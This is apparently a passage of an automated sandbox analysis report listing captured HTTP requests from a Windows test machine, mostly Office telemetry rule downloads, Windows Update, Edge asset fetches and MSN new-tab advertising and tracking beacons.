Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GYdFb+Ghxpf3llu&MD=PAkvHKWw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733091869&P2=404&P3=2&P4=J7Cg4vyUEhdbGyZKW1fUv0OjhjvK24vCzlhBK%2f%2bR50fCPd9vooTztRfaQwGhgNWa21PcywLThi4LsbbFredlYg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 5mCTRHMIAEUTbGrclMCw4wSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732487076699&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A261308FCDB683529D90649FDDC6975&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0A261308FCDB683529D90649FDDC6975&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=1e01ea53e2cc4bb99989802f5c1091dc HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732487076699&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A261308FCDB683529D90649FDDC6975&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1213e31350db9ecba7d85411732487078; XID=1213e31350db9ecba7d85411732487078
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732487076699&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=246d17c6c4d8456ebf71b0d824437f88&activityId=246d17c6c4d8456ebf71b0d824437f88&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=942824F5F1BF4886841E8919D736C752&MUID=0A261308FCDB683529D90649FDDC6975 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0A261308FCDB683529D90649FDDC6975&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=b2d1abf1b6d54683856e512cffe6ddcc HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
